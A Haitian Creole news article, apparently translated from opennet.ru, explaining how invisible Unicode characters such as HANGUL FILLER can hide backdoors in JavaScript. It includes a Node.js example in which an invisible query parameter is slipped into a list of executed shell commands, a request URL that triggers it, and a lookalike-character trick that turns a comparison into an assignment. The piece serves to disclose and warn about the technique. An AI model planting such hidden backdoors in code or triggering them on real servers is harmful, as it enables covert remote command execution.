Sèvi ak karaktè unicode envizib pou kache aksyon nan kòd JavaScript

Apre metòd atak Trojan Sous la, ki baze sou itilizasyon karaktè Unicode ki chanje lòd ekspozisyon tèks bidireksyon an, yo pibliye yon lòt teknik pou entwodwi aksyon kache, ki aplikab pou kòd JavaScript. Nouvo metòd la baze sou itilizasyon karaktè unicode "ㅤ" (kòd 0x3164, "HANGUL FILLER"), ki fè pati kategori lèt, men pa gen okenn kontni vizib. Yo te pèmèt kategori Unicode nan ki karaktè sa a fè pati depi spesifikasyon ECMAScript 2015 pou itilize nan non varyab JavaScript, sa ki fè li posib yo kreye varyab envizib oswa nouvo varyab ki pa distenge ak lòt varyab nan editè kòd popilè tankou Notepad ++ ak Kòd VS.

Kòm yon egzanp, yo bay kòd la pou platfòm la Node.js, nan ki, lè l sèvi avèk yon varyab ki gen ladann yon sèl karaktè "ㅤ", yo kache yon pòt deye ki pèmèt egzekite kòd la espesifye pa atakè a: app.get('/ network_health', async (req, res) => {const {timeout,ㅤ} = req.query; // an reyalite li di "const {timeout,ㅤ \u3164}" const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/',ㅤ // vigil la swiv pa karaktè \u3164 ];

Nan premye gade, se sèlman valè timeout pase nan paramèt ekstèn lan, ak etalaj la ak kòmandman yo dwe egzekite gen yon lis fiks inofansif. Men, an reyalite, apre varyab timeout la, valè yon lòt varyab envizib ak kòd karaktè \u3164 yo asiyen, ki se tou ranplase nan etalaj la nan kòmandman ègzèkutabl. Kidonk, si yon konsepsyon sa a disponib, yon atakè ka voye yon demann tankou "https://host:8080/network_health?%E3%85%A4=command" pou aktive pòt dèyè a epi egzekite kòd yo.

Yon lòt egzanp se karaktè "ǃ" (ALVEOLAR CLICK), ki ka itilize pou bay aparans ki endike yon pwen esklamasyon. Pa egzanp, ekspresyon "if(environmentǃ=ENV_PROD){" lè egzekite nan Node.js 14 ap toujou vre, paske li pa tcheke diferans, men li bay valè ENV_PROD nan varyab "environmentǃ". Lòt karaktè Unicode ki twonpe yo enkli "/", "−", "+", "⩵", "❨", "⫽", "꓿" ak "∗".

Sous: opennet.ru

Add nouvo kòmantè